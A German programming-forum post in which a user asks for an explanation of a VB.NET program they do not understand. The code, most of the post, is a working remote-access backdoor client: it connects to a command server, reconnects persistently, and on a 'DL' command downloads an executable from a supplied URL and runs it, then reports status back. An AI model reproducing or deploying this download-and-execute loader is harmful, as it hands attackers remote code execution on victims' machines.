Hey Leute kann mir wer mal bitte den Code erläutern ich versteh da echt garnichts. ![:(](https://www.vb-paradise.de/wcf/images/smilies/sad.png)
danke im vorraus![:D](https://www.vb-paradise.de/wcf/images/smilies/biggrin.png)
Edit by der_Kurt:
*Quellcode einigermaßen formatiert *
![:(](https://www.vb-paradise.de/wcf/images/smilies/sad.png)
danke im vorraus
![:D](https://www.vb-paradise.de/wcf/images/smilies/biggrin.png)
VB.NET-Quellcode
- Imports System.Net, System.Net.Sockets, System.IO
- Module Module1
- Dim host As String = "127.0.0.1"
- Dim port As Integer = 7008
- Dim client As TcpClient
- Sub Main()
- Dim t As New Threading.Thread(AddressOf KeepOpen)
- t.Start()
- Connect()
- End Sub
- Sub Connect()
- Try
- client = New TcpClient(host, port)
- Send("CONNECTED|1.0|Idle...")
- client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
- Catch ex As Exception
- Threading.Thread.Sleep(4000)
- Connect()
- End Try
- End Sub
- Sub Read(ByVal ar As IAsyncResult)
- Dim message As String
- Try
- Dim reader As New StreamReader(client.GetStream())
- message = reader.ReadLine()
- Parse(message)
- client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
- Catch ex As Exception
- Threading.Thread.Sleep(4000)
- Connect()
- End Try
- End Sub
- Sub Parse(ByVal Message As String)
- Try
- Dim cut() As String = Message.Split("|")
- Select Case cut(0)
- Case "DL"
- Try
- Dim w As New WebClient()
- Dim temp As String = Path.GetTempFileName() + ".exe"
- SendStatus("Downloading File...")
- w.DownloadFile(cut(1), temp)
- Process.Start(temp)
- SendStatus("File Executed...")
- Catch ex As Exception
- SendStatus("Error Downloading File...")
- End Try
- End Select
- Catch ex As Exception
- End Try
- End Sub
- Sub Send(ByVal message As String)
- Try
- Dim writer As New StreamWriter(client.GetStream())
- writer.WriteLine(message)
- writer.Flush()
- Catch ex As Exception
- End Try
- End Sub
- Sub SendStatus(ByVal Message As String)
- Try
- Dim writer As New StreamWriter(client.GetStream())
- writer.WriteLine("STATUS|" & Message)
- writer.Flush()
- Catch ex As Exception
- End Try
- End Sub
- Sub KeepOpen()
- Console.ReadLine()
- End Sub
- End Module
Edit by der_Kurt:
*Quellcode einigermaßen formatiert *
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „der_Kurt“ ()